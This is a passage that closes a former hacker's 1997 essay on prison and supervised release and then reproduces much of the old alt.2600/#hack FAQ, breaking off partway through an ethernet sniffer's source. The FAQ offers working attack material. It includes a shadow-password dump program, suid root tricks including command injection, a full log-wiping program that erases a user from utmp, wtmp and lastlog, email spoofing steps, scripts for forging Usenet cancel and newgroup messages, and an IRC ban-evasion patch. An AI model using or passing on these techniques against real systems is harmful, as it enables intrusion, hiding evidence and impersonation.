stay out of trouble. If you give your P.O. no cause to keep an eye on you, you may find the reins loosening up. You may also be able to have your Supervised Release terminated ea rly by the court. After a year or so, with good cause, and all of your government debts paid, it might be plausible. Hire an attorney, file a motion. For many convicts Supervised Release is simply too much like being in prison. For those it is best to violate, go back to prison for a few months, and hope the judge terminates their Supervised Release. Although the judge may continue your supervis ion, he/she typically will not. N. SUMMARY What a long strange trip it's been. I have a great deal of mixed emotions about my whole ordeal. I can however, say that I HAVE benefitted from my incarceration. However, it certainly was not on the behalf of how I was handled by the government. No , despite their efforts to kick me when I was down, use me, turn their backs after I had assisted them, and in general, just violate my rights, I was still able to emerge better educated than when I went in. But frankly, my release from prison was just in the nick of time. The long term effects of incarceration and stress were creeping up on me, and I could see prison conditions were worsening. It's hard to express the poignancy of the situation but the majority of those incarcerated feel that if drastic changes are not made America is due for some serious turmoil, perhaps even a civil war. Yes, the criminal justice system is that screwed up. The Nation's thirst for vengeance on criminals is leading us into a vicious feedback loop of crime and punishment, and once again crime. Quite simply, the system is not working. My purpose in writing this article was not to send any kind of message. I'm not telling you how not to get caught and I'm not telling you to stop hacking. I wrote this simply because I feel l ike I owe it to whomever might get use of it. For some strange reason I am oddly compelled to tell you what happened to me. Perhaps this is some kind or therapy, perhaps it's just my ego, perhaps I just want to help some poor 18-year-old hacker who really doesn't know what he is getting himself in to. Whatever the reason, I just sat down one day and started writing. If there is a central theme to this article it would be how ugly your world can become. Once you get grabbed by the law, sucked into their vacuum, and they shine the spotlight on you, there will be little you can do to protect yourself. The vultures and predators will try to pick what they can off of you. It's open season for the U.S. Attorneys, your attorney, other inmates, and prison officials. You become fair game. Defending yourself from all of these forces will require all of your wits, all of your resources, and occasionally your fists. Furthering the humiliation, the press, as a general rule, will not be concerned with presenting the truth. They will print what suits them and often omit many relevant facts. If you have read any of the 5 books I am covered in you will no doubt have a rather jaded opinion of me. Let me assure you that if you met me today you would quickly see that I am quite likable and not the villain many (especially Jon Littman) have made me out to be. You may not agree with how I lived my life, but you wouldn't have any trouble understanding why I chose to live it that way. Granted I've made my mistakes, growing up has been a long road for me. Nevertheless, I have no shortage of good friends. Friends that I am immensely loyal to. But if you believe everything y ou read you'd have the impression that Mitnick is a vindictive loser, Poulsen a furtive stalker, and I a two faced rat. All of those assessments would be incorrect. So much for first impressions. I just hope I was able to enlighten you and in some way to help you make the right choice. Whether it's protecting yourself from what could be a traumatic life altering experience, or compelling you to focus your computer skills on other avenues, it's important for you to know the program, the language, and the rules. See you in the movies Agent Steal 1997 The alt.2600/#Hack F.A.Q. Beta Revision .013 A TNO Communications Production by Voyager will@gnu.ai.mit.edu Sysop of Hacker's Haven (303)343-4053 Greets go out to: A-Flat, Al, Aleph1, Bluesman, Cavalier, Cruiser, Cybin, C-Curve, DeadKat, Disorder, Edison, Frosty, Glen Roberts, Hobbit, Holistic Hacker, KCrow, Major, Marauder, Novocain, Outsider, Per1com, Presence, Rogue Agent, Route, sbin, Taran King, Theora, ThePublic, Tomes, and TheSaint. We work in the dark We do what we can We give what we have Our doubt is our passion, and our passion is our task The rest is the madness of art. -- Henry James When I picture a perfect reader, I always picture a monster of courage and curiosity, also something supple, cunning, cautious, a born adventurer and discoverer... -- Friedreich Nietzsche Section A: Computers 01. How do I access the password file under Unix? 02. How do I crack Unix passwords? 03. What is password shadowing? 04. Where can I find the password file if it's shadowed? 05. What is NIS/yp? 06. What are those weird characters after the comma in my passwd file? 07. How do I access the password file under VMS? 08. How do I crack VMS passwords? 09. What can be logged on a VMS system? 10. What privileges are available on a VMS system? 11. How do I break out of a restricted shell? 12. How do I gain root from a suid script or program? 13. How do I erase my presence from the system logs? U 14. How do I send fakemail? 15. How do I fake posts and control messages to UseNet? 16. How do I hack ChanOp on IRC? U 17. How do I modify the IRC client to hide my real username? 18. How to I change to directories with strange characters in them? U 19. What is ethernet sniffing? 20. What is an Internet Outdial? 21. What are some Internet Outdials? U 22. What is this system? U 23. What are the default accounts for XXX ? 24. What port is XXX on? 25. What is a trojan/worm/virus/logic bomb? 26. How can I protect myself from viruses and such? 27. Where can I get more information about viruses? 28. What is Cryptoxxxxxxx? 29. What is PGP? 30. What is Tempest? 31. What is an anonymous remailer? U 32. What are the addresses of some anonymous remailers? 33. How do I defeat copy protection? 34. What is 127.0.0.1? 35. How do I post to a moderated newsgroup? U 36. How do I post to Usenet via e-mail? 37. How do I defeat a BIOS password? N 38. What is the password for <encrypted file>? N 39. Is there any hope of a decompiler that would convert an executable program into C/C++ code? N 40. How does the MS-Windows password encryption work? Section B: Telephony U 01. What is a Red Box? 02. How do I build a Red Box? 03. Where can I get a 6.5536Mhz crystal? 04. Which payphones will a Red Box work on? 05. How do I make local calls with a Red Box? 06. What is a Blue Box? 07. Do Blue Boxes still work? 08. What is a Black Box? 09. What do all the colored boxes do? 10. What is an ANAC number? U 11. What is the ANAC number for my area? 12. What is a ringback number? U 13. What is the ringback number for my area? 14. What is a loop? U 15. What is a loop in my area? U 16. What is a CNA number? 17. What is the telephone company CNA number for my area? U 18. What are some numbers that always ring busy? U 19. What are some numbers that temporarily disconnect phone service? U 20. What is a Proctor Test Set? U 21. What is a Proctor Test Set in my area? 22. What is scanning? 23. Is scanning illegal? U 24. Where can I purchase a lineman's handset? 25. What are the DTMF frequencies? 26. What are the frequencies of the telephone tones? U 27. What are all of the * (LASS) codes? 28. What frequencies do cordless phones operate on? 29. What is Caller-ID? 30. How do I block Caller-ID? 31. What is a PBX? 32. What is a VMB? 33. What are the ABCD tones for? N 34. What are the International Direct Numbers? Section C: Cellular N 01. What is an MTSO? N 02. What is a NAM? N 03. What is an ESN? N 04. What is an MIN? N 05. What is a SCN? N 06. What is a SIDH? N 07. What are the forward/reverse channels? Section D: Resources 01. What are some ftp sites of interest to hackers? 02. What are some fsp sites of interest to hackers? U 03. What are some newsgroups of interest to hackers? U 04. What are some telnet sites of interest to hackers? U 05. What are some gopher sites of interest to hackers? U 06. What are some World wide Web (WWW) sites of interest to hackers? 07. What are some IRC channels of interest to hackers? U 08. What are some BBS's of interest to hackers? U 09. What are some books of interest to hackers? U 10. What are some videos of interest to hackers? U 11. What are some mailing lists of interest to hackers? U 12. What are some print magazines of interest to hackers? U 13. What are some e-zines of interest to hackers? U 14. What are some organizations of interest to hackers? U 15. What are some radio programs of interest to hackers? N 16. What are other FAQ's of interest to hackers? 17. Where can I purchase a magnetic stripe encoder/decoder? 18. What are the rainbow books and how can I get them? Section E: 2600 01. What is alt.2600? 02. What does "2600" mean? 03. Are there on-line versions of 2600 available? 04. I can't find 2600 at any bookstores. What can I do? 05. Why does 2600 cost more to subscribe to than to buy at a newsstand? Section F: Miscellaneous 01. What does XXX stand for? 02. How do I determine if I have a valid credit card number? U 03. What is the layout of data on magnetic stripe cards? 04. What are the ethics of hacking? 05. Where can I get a copy of the alt.2600/#hack FAQ? U == Updated since last release of the alt.2600/#hack FAQ N == New since last release of the alt.2600/#hack FAQ Section A: Computers ~~~~~~~~~~~~~~~~~~~~ 01. How do I access the password file under Unix? In standard Unix the password file is /etc/passwd. On a Unix system with either NIS/yp or password shadowing, much of the password data may be elsewhere. An entry in the password file consists of seven colon delimited fields: Username Encrypted password (And optional password aging data) User number Group Number GECOS Information Home directory Shell ] ] Sample entry from /etc/passwd: ] ] will:5fg63fhD3d5gh:9406:12:Will Spencer:/home/fsg/will:/bin/bash ] Broken down, this passwd file line shows: Username: will Encrypted password: 5fg63fhD3d5gh User number: 9406 Group Number: 12 GECOS Information: Will Spencer Home directory: /home/fsg/will Shell: /bin/bash 02. How do I crack Unix passwords? Contrary to popular belief, Unix passwords cannot be decrypted. Unix passwords are encrypted with a one way function. The login program encrypts the text you enter at the "password:" prompt and compares that encrypted string against the encrypted form of your password. Password cracking software uses wordlists. Each word in the wordlist is encrypted and the results are compared to the encrypted form of the target password. The best cracking program for Unix passwords is currently Crack by Alec Muffett. For PC-DOS, the best package to use is currently CrackerJack. CrackerJack is available via ftp from clark.net /pub/jcase/. 03. What is password shadowing? Password shadowing is a security system where the encrypted password field of /etc/passwd is replaced with a special token and the encrypted password is stored in a separate file which is not readable by normal system users. To defeat password shadowing on many (but not all) systems, write a program that uses successive calls to getpwent() to obtain the password file. Example: #include <pwd.h> main() { struct passwd *p; while(p=getpwent()) printf("%s:%s:%d:%d:%s:%s:%s\n", p->pw_name, p->pw_passwd, p->pw_uid, p->pw_gid, p->pw_gecos, p->pw_dir, p->pw_shell); } 04. Where can I find the password file if it's shadowed? Unix Path Token ----------------------------------------------------------------AIX 3 or /etc/security/passwd ! /tcb/auth/files/<first letter # of username>/<username> A/UX 3.0s /tcb/files/auth/?/* BSD4.3-Reno /etc/master.passwd * ConvexOS 10 /etc/shadpw * ConvexOS 11 /etc/shadow * DG/UX /etc/tcb/aa/user/ * EP/IX /etc/shadow x HP-UX /.secure/etc/passwd * IRIX 5 /etc/shadow x Linux 1.1 /etc/shadow * OSF/1 /etc/passwd[.dir|.pag] * SCO Unix #.2.x /tcb/auth/files/<first letter * of username>/<username> SunOS4.1+c2 /etc/security/passwd.adjunct SunOS 5.0 /etc/shadow ##username <optional NIS+ private secure maps/tables/whatever> System V Release 4.0 /etc/shadow x System V Release 4.2 /etc/security/* database Ultrix 4 /etc/auth[.dir|.pag] * UNICOS /etc/udb * 05. What is NIS/yp? NIS (Network Information System) in the current name for what was once known as yp (Yellow Pages). The purpose for NIS is to allow many machines on a network to share configuration information, including password data. NIS is not designed to promote system security. If your system uses NIS you will have a very short /etc/passwd file that includes a line that looks like this: +::0:0::: To view the real password file use this command "ypcat passwd" 06. What are those weird characters after the comma in my passwd file? The characters are password aging data. Password aging forces the user to change passwords after a System Administrator specified period of time. Password aging can also force a user to keep a password for a certain number of weeks before changing it. ] ] Sample entry from /etc/passwd with password aging installed: ] ] will:5fg63fhD3d,M.z8:9406:12:Will Spencer:/home/fsg/will:/bin/bash ] Note the comma in the encrypted password field. The characters after the comma are used by the password aging mechanism. ] ] Password aging characters from above example: ] ] M.z8 ] The four characters are interpreted as follows: 1: Maximum number of weeks a password can be used without changing. 2: Minimum number of weeks a password must be used before changing. 3&4: Last time password was changed, in number of weeks since 1970. Three special cases should be noted: If the first and second characters are set to '..' the user will be forced to change his/her passwd the next time he/she logs in. The passwd program will then remove the passwd aging characters, and the user will not be subjected to password aging requirements again. If the third and fourth characters are set to '..' the user will be forced to change his/her passwd the next time he/she logs in. Password aging will then occur as defined by the first and second characters. If the first character (MAX) is less than the second character (MIN), the user is not allowed to change his/her password. Only root can change that users password. It should also be noted that the su command does not check the password aging data. An account with an expired password can be su'd to without being forced to change the password. Password Aging Codes +------------------------------------------------------------------------+ | | | Character: . / 0 1 2 3 4 5 6 7 8 | 0 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 | Number: 9 A B C D E F G | H | | | Character: I J K L M N O P Q R S T U V W X Y Z a b | | Number: 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 | | | | Character: c d e f g h i j k l m n o p q r s t u v | | Number: 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 | | | | Character: | w x y z | Number: 60 61 62 63 | | | +------------------------------------------------------------------------+ 07. How do I access the password file under VMS? Under VMS, the password file is SYS$SYSTEM:SYSUAF.DAT. However, unlike Unix, most users do not have access to read the password file. 08. How do I crack VMS passwords? Write a program that uses the SYS$GETUAF functions to compare the results of encrypted words against the encrypted data in SYSUAF.DAT. Two such programs are known to exist, CHECK_PASSWORD and GUESS_PASSWORD. 09. What can be logged on a VMS system? Virtually every aspect of the VMS system can be logged for investigation. To determine the status of the accounting on your system use the command SHOW ACCOUNTING. System accounting is a facility for recording information about the use of the machine from a system accounting perspective (resource logging such as CPU time, printer usage etc.), while system auditing is done with the aim of logging information for the purpose of security. To enable accounting: $ SET ACCOUNTING [/ENABLE=(Activity...)] This enables accounting logging information to the accounting log file SYS$MANAGER:ACCOUNTING.DAT. This also is used to close the current log file and open a new one with a higher version number. The following activities can be logged: BATCH Termination of a batch job DETACHED Termination of a detached job IMAGE Image execution INTERACTIVE Interactive job termination LOGIN_FAILURE Login failures MESSAGE Users messages NETWORK Network job termination PRINT Print Jobs PROCESS Any terminated process SUBPROCESS Termination of a subprocess To enable security auditing use: $ SET AUDIT [/ENABLE=(Activity...)] The /ALARM qualifier is used to raise an alarm to all terminals approved as security operators, which means that you need the SECURITY privileges. You can determine your security auditing configuration using $ SHOW AUDIT /ALL The security auditor can be configured to log the following activities: ACL Access Control List requested events AUTHORIZATION Modification to the system user authorization file SYS$SYSTEM:SYSUAF.DAT BREAKIN Attempted Break-ins FILE_ACCESS File or global section access INSTALL Occurrence of any INSTALL operations LOGFAILURE Any login failures LOGIN A login attempt from various sources LOGOUT Logouts MOUNT Mount or dismount requests 10. What privileges are available on a VMS system? ACNT Allows you to restrain accounting messages ALLSPOOL Allows you to allocate spooled devices ALTPRI Allot Priority. This allows you to set any priority value BUGCHK Allows you make bug check error log entries BYPASS Enables you to disregard protections CMEXEC/ CMKRNL Change to executive or kernel mode. These privileges allow a process to execute optional routines with KERNEL and EXECUTIVE access modes. CMKRNL is the most powerful privilege on VMS as anything protected can be accessed if you have this privilege. You must have these privileges to gain access to the kernel data structures directly. DETACH This privilege allow you to create detached processes of arbitrary UICs DIAGNOSE With this privilege you can diagnose devices EXQUOTA Allows you to exceed your disk quota GROUP This privilege grants you permission to affect other processes in the same rank GRPNAM Allows you to insert group logical names into the group logical names table. GRPPRV Enables you to access system group objects through system protection field LOG_IO Allows you to issue logical input output requests MOUNT May execute the mount function NETMBX Allows you to create network connections OPER Allows you to perform operator functions PFNMAP Allows you to map to specific physical pages PHY_IO Allows you to perform physical input output requests PRMCEB Can create permanent common event clusters PRMGBL Allows you to create permanent global sections PRMMBX Allows you to create permanent mailboxes PSWAPM Allows you to change a processes swap mode READALL Allows you read access to everything SECURITY Enables you to perform security SETPRV Enable all privileges SHARE Allows you to access devices allocated to other users. related functions This is used to assign system mailboxes. SHMEM Enables you to modify objects in shared memory SYSGBL Allows you to create system wide permanent global sections SYSLCK Allows you to lock system wide resources SYSNAM Allows you to insert in system logical names in the names table. SYSPRV If a process holds this privilege then it is the same as a process holding the system user identification code. TMPMBX Allows you create temporary mailboxes VOLPRO Enables you to override volume protection WORLD When this is set you can affect other processes in the world To determine what privileges your process is running with issue the command: $ show proc/priv 11. How do I break out of a restricted shell? On poorly implemented restricted shells you can break out of the restricted environment by running a program that features a shell function. A good example is vi. Run vi and use this command: :set shell=/bin/sh then shell using this command: :shell If your restricted shell prevents you from using the "cd" command, ftp into your account and you may be able to cd. 12. How do I gain root from a suid script or program? 1. Change IFS. If the program calls any other programs using the system() function call, you may be able to fool it by changing IFS. IFS is the Internal Field Separator that the shell uses to delimit arguments. If the program contains a line that looks like this: system("/bin/date") and you change IFS to '/' the shell will them interpret the proceeding line as: bin date Now, if you have a program of your own in the path called "bin" the suid program will run your program instead of /bin/date. To change IFS, use this command: IFS='/';export IFS # Bourne Shell setenv IFS '/' # C Shell export IFS='/' # Korn Shell 2. link the script to -i Create a symbolic link named "-i" to the program. Running "-i" will cause the interpreter shell (/bin/sh) to start up in interactive mode. This only works on suid shell scripts. Example: % ln suid.sh -i % -i # 3. Exploit a race condition Replace a symbolic link to the program with another program while the kernel is loading /bin/sh. Example: nice -19 suidprog ; ln -s evilprog suidroot 4. Send bad input to the program. Invoke the name of the program and a separate command on the same command line. Example: suidprog ; id 13. How do I erase my presence from the system logs? Edit /etc/utmp, /usr/adm/wtmp and /usr/adm/lastlog. These are not text files that can be edited by hand with vi, you must use a program specifically written for this purpose. Example: #include <sys/types.h> #include <stdio.h> #include <unistd.h> #include <sys/file.h> #include <fcntl.h> #include <utmp.h> #include <pwd.h> #include <lastlog.h> #define WTMP_NAME "/usr/adm/wtmp" #define UTMP_NAME "/etc/utmp" #define LASTLOG_NAME "/usr/adm/lastlog" int f; void kill_utmp(who) char *who; { struct utmp utmp_ent; if ((f=open(UTMP_NAME,O_RDWR))>=0) { while(read (f, &utmp_ent, sizeof (utmp_ent))> 0 ) if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof( utmp_ent )); lseek (f, -(sizeof (utmp_ent)), SEEK_CUR); write (f, &utmp_ent, sizeof (utmp_ent)); } close(f); } } void kill_wtmp(who) char *who; { struct utmp utmp_ent; long pos; pos = 1L; if ((f=open(WTMP_NAME,O_RDWR))>=0) { while(pos != -1L) { lseek(f,-(long)( (sizeof(struct utmp)) * pos),L_XTND); if (read (f, &utmp_ent, sizeof (struct utmp))<0) { pos = -1L; } else { if (!strncmp(utmp_ent.ut_name,who,strlen(who))) { bzero((char *)&utmp_ent,sizeof(struct utmp )); lseek(f,-( (sizeof(struct utmp)) * pos),L_XTND); write (f, &utmp_ent, sizeof (utmp_ent)); pos = -1L; } else pos += 1L; } } close(f); } } void kill_lastlog(who) char *who; { struct passwd *pwd; struct lastlog newll; if ((pwd=getpwnam(who))!=NULL) { if ((f=open(LASTLOG_NAME, O_RDWR)) >= 0) { lseek(f, (long)pwd->pw_uid * sizeof (struct lastlog), 0); bzero((char *)&newll,sizeof( newll )); write(f, (char *)&newll, sizeof( newll )); close(f); } } else printf("%s: ?\n",who); } main(argc,argv) int argc; char *argv[]; { if (argc==2) { kill_lastlog(argv[1]); kill_wtmp(argv[1]); kill_utmp(argv[1]); printf("Zap2!\n"); } else printf("Error.\n"); } 14. How do I send fakemail? Telnet to port 25 of the machine you want the mail to appear to originate from. Enter your message as in this example: HELO bellcore.com MAIL FROM:voyager@bellcore.com RCPT TO:president@whitehouse.gov DATA From: voyager@bellcore.com (The Voyager) To: president@whitehouse.gov Subject: Clipper Reply-To: voyager@bellcore.com Please discontinue your silly Clipper initiative. . QUIT On systems that have RFC 931 implemented, spoofing your "MAIL FROM:" line will not work. Test by sending yourself fakemail first. For more information read RFC 822 "Standard for the format of ARPA Internet text messages." 15. How do I fake posts and control messages to UseNet? From: Anonymous (Pretending to be: tale@uunet.uu.net (David C Lawrence)) Subject: FAQ: Better living through forgery Date: 19 Mar 1995 02:37:09 GMT Anonymous netnews without "anonymous" remailers Inspired by the recent "NetNews Judges-L" events, this file has been updated to cover forging control messages, so you can do your own article canceling and create and destroy your own newsgroups. Save any news article to a file. We'll call it "hak" in this example. Edit "hak", and remove any header lines of the form From some!random!path!user (note: "From ", not "From: " !!) Article: Lines: Xref: Shorten the Path: header down to its LAST two or three "bangized" components. This is to make the article look like it was posted from where it really was posted, and originally hit the net at or near the host you send it to. Or you can construct a completely new Path: line to reflect your assumed alias. Make some change to the Message-ID: field, that isn't likely to be duplicated anywhere. This is usually best done by adding a couple of random characters to the part before the @, since news posting programs generally use a fixed-length field to generate these IDs. Change the other headers to say what you like -- From:, Newsgroups:, Sender:, etc. Replace the original message text with your message. If you are posting to a moderated group or posting a control message, remember to put in an Approved: header to bypass the moderation mechanism. To specifically cancel someone else's article, you need its message-ID. Your message headers, in addition to what's already there, should also contain the following with that message-ID in it. This makes it a "control message". NOTE: control messages generally require an Approved: header as well, so you should add one. Subject: cmsg cancel <xb8700A@twits.site.com> Control: cancel <xb8700A@twits.site.com> Approved: luser@twits.site.com Newsgroups are created and destroyed with control messages, too. If you wanted to create, for instance, comp.misc.microsoft.sucks, your control headers would look like Subject: cmsg newgroup comp.misc.microsoft.sucks Control: newgroup comp.misc.microsoft.sucks Add on the string "moderated" at the end of these if you want the group to be "moderated with no moderator" as with alt.hackers. Somewhere in the body of your message, you should include the following text, changed with the description of the group you're creating: For your newsgroups file: comp.misc.microsoft.sucks We don't do windows To remove a group, substitute "rmgroup" for "newgroup" in the header lines above. Keep in mind that most sites run all "rmgroup" requests through a human news-master, who may or may not decide to honor it. Group creation is more likely to be automatic than deletion at most installations. Any newsgroup changes are more likely to take effect if the come from me, since my name is hardwired into many of the NNTP control scripts, so using the From: and Approved: headers from this posting is recommended. Save your changed article, check it to make sure it contains NO reference to yourself or your own site, and send it to your favorite NNTP server that permits transfers via the IHAVE command, using the following script: ======================= #! /bin/sh ## Post an article via IHAVE. ## args: filename server if test "$2" = "" ; then echo usage: $0 filename server exit 1 fi if test ! -f $1 ; then echo $1: not found exit 1 fi # suck msg-id out of headers, keep the brackets msgid=`sed -e '/^$/,$d' $1 | egrep '^[Mm]essage-[Ii][Dd]: ' | \ sed 's/.*-[Ii][Dd]: //'` echo $msgid ( sleep 5 echo IHAVE $msgid sleep 5 cat $1 sleep 1 echo "." sleep 1 echo QUIT ) | telnet $2 119 ======================= If your article doesn't appear in a day or two, try a different server. They are easy to find. Here's a script that will break a large file full of saved netnews into a list of hosts to try. Edit the output of this if you want, to remove obvious peoples' names and other trash. ======================= #! /bin/sh FGV='fgrep -i -v' egrep '^Path: ' $1 | sed -e 's/^Path: //' -e 's/!/\ /g' | sort -u | fgrep . | $FGV .bitnet | $FGV .uucp ======================= Once you have your host list, feed it to the following script. ======================= #! /bin/sh while read xx ; do if test "$xx" = "" ; then continue; fi echo === $xx ( echo open $xx 119 sleep 5 echo ihave IamSOk00l@podunk.edu sleep 4 echo . echo quit sleep 1 echo quit ) | telnet done ======================= If the above script is called "findem" and you're using csh, you should do findem < list >& outfile so that ALL output from telnet is captured. This takes a long time, but when it finishes, edit "outfile" and look for occurrences of "335". These mark answers from servers that might be willing to accept an article. This isn't a completely reliable indication, since some servers respond with acceptance and later drop articles. Try a given server with a slightly modified repeat of someone else's message, and see if it eventually appears. Sometimes the telnets get into an odd state, and freeze, particularly when a host is refusing NNTP connections. If you manually kill these hung telnet processes but not the main script, the script will continue on. In other words, you may have to monitor the finding script a little while it is running. You will notice other servers that don't necessarily take an IHAVE, but say "posting ok". You can probably do regular POSTS through these, but they will add an "NNTP-Posting-Host: " header containing the machine YOU came from and are therefore unsuitable for completely anonymous use. PLEASE USE THE INFORMATION IN THIS ARTICLE FOR CONSTRUCTIVE PURPOSES ONLY. 16. How do I hack ChanOp on IRC? Find a server that is split from the rest of IRC and create your own channel there using the name of the channel you want ChanOp on. When that server reconnects to the net, you will have ChanOp on the real channel. If you have ServerOp on a server, you can cause it to split on purpose. 17. How do I modify the IRC client to hide my real username? Note: This FAQ answer was written by someone else, but I do not know who. If you know who originally wrote this, please e-mail me. -- BEGIN QUOTED TEXT -Applying these changes to the source code for your ircII client and recompiling gives you a new ircII command: /NEWUSER. This new command can be used as follows: * /NEWUSER <new_username> [new_IRCNAME] * <new_username> is a new username to use and is required * [new_IRCNAME] is a new IRCNAME string to use and is optional * This will disconnect you from your server and reconnect using * the new information given. You will rejoin all channel you * are currently on and keep your current nickname. The effect is basically changing your username/IRCname on the fly. Although you are disconnected from your server and reconnected, the ircII client is never exited, thus keeping all your state information and aliases intact. This is ideal for bots that wish to be REALLY obnoxious in ban evasion. ;) As this is now a new command in ircII, it can be used in scripts. Be aware that the reconnect associated with the NEWUSER command takes time, so TIMER any commands that must immediately follow the NEWUSER. For example... ban evasion made easy (but beware infinite reconnects when your site is banned): on ^474 * { echo *** Banned from channel $1 if ($N == [AnnMurray]) { nick $randomstring join $1 } { nick AnnMurray newuser $randomstring timer 5 join $1 } } Or just to be annoying... a /BE <nickname> alias that will assume a person's username and IRCNAME: alias be { ^on ^311 * { ^on 311 -* newuser $2 $5} whois $0 } Now... in order to add this command to your ircII client, get the latest client source (or whatever client source you are using). Cd into the source directory and edit the file "edit.c". Make the following changes: Locate the line which reads: extern void server(); Insert the following line after it: static void newuser(); This pre-defines a new function "newuser()" that we'll add later. Now, locate the line which reads: "NAMES", "NAMES", funny_stuff, 0, newuser, 0, Insert the following line after it: "NEWUSER", NULL, This adds a new command NEWUSER to the list of valid IRCII commands, and tells it to call our new function newuser() to perform it. Finally, go the bottom of the file and add the following code as our new function "newuser()": /* * newuser: the /NEWUSER command. Added by Hendrix * * Parameters as follows: /NEWUSER <new_username> [new_IRCNAME] * <new_username> is a new username to use and is required * [new_IRCNAME] is a new IRCNAME string to use and is optional * This will disconnect you from your server and reconnect using * the new information given. You will rejoin all channels you * are currently on and keep your current nickname. */ static void char newuser(command, args) *command, *args; { char *newuname; if (newuname = next_arg(args, &args)) { strmcpy(username, newuname, NAME_LEN); if (*args) strmcpy(realname, args, REALNAME_LEN); say("Reconnecting to server..."); close_server(from_server); if (connect_to_server(server_list[from_server].name, server_list[from_server].port, primary_server) != -1) { change_server_channels(primary_server, from_server); set_window_server(-1, from_server, 1); } else say("Unable to reconnect. Use /SERVER to connect."); } else say("You must specify a username and, optionally, an IRCNAME"); } -- END QUOTED TEXT -/NEWUSER will not hide you from a CTCP query. To do that, modify ctcp.c as shown in the following diff and set an environment variable named CTCPFINGER with the information you would like to display when queried. *** ctcp.old --- ctcp.c *************** *** 334 **** ! char c; --- 334 --! char c, *fing; *************** *** 350,354 **** ! if (pwd = getpwuid(uid)) { char *tmp; --- 350,356 ---! if (fing = getenv("CTCPFINGER")) ! send_ctcp_reply(from, ctcp->name, fing, diff, c); ! else if (pwd = getpwuid(uid)) { char *tmp; 18. How to I change to directories with strange characters in them? These directories are often used by people trying to hide information, most often warez (commercial software). There are several things you can do to determine what these strange characters are. One is to use the arguments to the ls command that cause ls to give you more information: From the man page for ls: -F Causes directories to be marked with a trailing ``/'', executable files to be marked with a trailing ``*'', and symbolic links to be marked with a trailing ``@'' symbol. -q Forces printing of non-graphic characters in filenames as the character ``?''. -b Forces printing of non-graphic characters in the \ddd notation, in octal. Perhaps the most useful tool is to simply do an "ls -al filename" to save the directory of the remote ftp site as a file on your local machine. Then you can do a "cat -t -v -e filename" to see exactly what those bizarre little characters are. From the man page for cat: -v Causes non-printing characters (with the exception of tabs, newlines, and form feeds) to be displayed. Control characters are displayed as ^X (<Ctrl>x), where X is the key pressed with the <Ctrl> key (for example, <Ctrl>m is displayed as ^M). The <Del> character (octal 0177) is printed as ^?. Non-ASCII characters (with the high bit set) are printed as M -x, where x is the character specified by the seven low order bits. -t Causes tabs to be printed as ^I and form feeds as ^L. This option is ignored if the -v option is not specified. -e Causes a ``$'' character to be printed at the end of each line (prior to the new-line). This option is ignored if the -v option is not set. If the directory name includes a <SPACE> or a <TAB> you will need to enclose the entire directory name in quotes. Example: cd "..<TAB>" On an IBM-PC, you may enter these special characters by holding down the <ALT> key and entering the decimal value of the special character on your numeric keypad. When you release the <ALT> key, the special character should appear on your screen. An ASCII chart can be very helpful. Sometimes people will create directories with some of the standard stty control characters in them, such as ^Z (suspend) or ^C (intr). To get into those directories, you will first need to user stty to change the control character in question to another character. From the man page for stty: Control assignments control-character C Sets control-character to C, where control-character is erase, kill, intr (interrupt), quit, eof, eol, swtch (switch), start, stop or susp. start and stop are available as possible control characters for the control-character C assignment. If C is preceded by a caret (^) (escaped from the shell), then the value used is the corresponding control character (for example, ^D is a <Ctrl>d; ^? is interpreted as DELETE and ^- is interpreted as undefined). Use the stty -a command to see your current stty settings, and to determine which one is causing you problems. 19. What is ethernet sniffing? Ethernet sniffing is listening (with software) to the raw ethernet device for packets that interest you. When your software sees a packet that fits certain criteria, it logs it to a file. The most common criteria for an interesting packet is one that contains words like "login" or "password." Many ethernet sniffers are available, here are a few that may be on your system now: OS Sniffer ~~ ~~~~~~~ 4.3/4.4 BSD tcpdump /* Available via anonymous ftp */ FreeBSD tcpdump /* Available via anonymous ftp at */ /* gatekeeper.dec.com /* /.0/BSD/FreeBSD/FreeBSD-current/src/contrib/tcpdump/ */ NetBSD tcpdump /* Available via anonymous ftp at */ /* gatekeeper.dec.com /* /.0/BSD/NetBSD/NetBSD-current/src/usr.sbin/ */ DEC Unix tcpdump /* Available via anonymous ftp */ DEC Ultrix tcpdump /* Available via anonymous ftp */ HP/UX nettl (monitor) nfswatch /* Available via anonymous ftp */ tcpdump /* Available via anonymous ftp at */ /* sunsite.unc.edu */ & netfmt (display) Linux /* /pub/Linux/system/Network/management/ */ SGI Irix nfswatch /* Available via anonymous ftp */ /* Available via anonymous ftp */ nfswatch /* Available via anonymous ftp */ tcpdump /* Available via anonymous ftp */ ETHLOAD /* Available via anonymous ftp as */ /* ethld104.zip */ /* Available via anonymous ftp */ /* Available via anonymous ftp at */ Etherman tcpdump Solaris snoop tcpdump SunOS DOS etherfind The Gobbler LanPatrol LanWatch Netmon Netwatch Netzhack /* mistress.informatik.unibw-muenchen.de */ /* /pub/netzhack.mac Macintosh Etherpeek */ Here is source code for a sample ethernet sniffer: /* Esniff.c */ #include <stdio.h> #include <ctype.h> #include <string.h> #include <sys/time.h> #include <sys/file.h> #include <sys/stropts.h> #include <sys/signal.h> #include <sys/types.h> #include <sys/socket.h> #include <sys/ioctl.h> #include <net/if.h> #include <net/nit_if.h> #include <net/nit_buf.h> #include <net/if_arp.h> #include <netinet/in.h> #include <netinet/if_ether.h> #include <netinet/in_systm.h> #include <netinet/ip.h> #include <netinet/udp.h> #include <netinet/ip_var.h> #include <netinet/udp_var.h> #include <netinet/in_systm.h> #include <netinet/tcp.h> #include <netinet/ip_icmp.h> #include <netdb.h> #include <arpa/inet.h> #define ERR stderr char *malloc(); char *device, *ProgName, *LogName; FILE *LOG; int debug=0; #define NIT_DEV "/dev/nit" #define CHUNKSIZE 4096 int if_fd = -1; int Packet[CHUNKSIZE+32]; /* device buffer size */ void Pexit(err,msg) int err; char *msg; { perror(msg); exit(err); } void Zexit(err,msg) int err; char *msg; { fprintf(ERR,msg); exit(err); } #define IP ((struct ip *)Packet) #define IP_OFFSET (0x1FFF) #define SZETH (sizeof(struct ether_header)) #define IPLEN (ntohs(ip->ip_len)) #define IPHLEN (ip->ip_hl) #define TCPOFF (tcph->th_off) #define IPS (ip->ip_src) #define IPD (ip->ip_dst) #define TCPS (tcph->th_sport) #define TCPD (tcph->th_dport) #define IPeq(s,t) 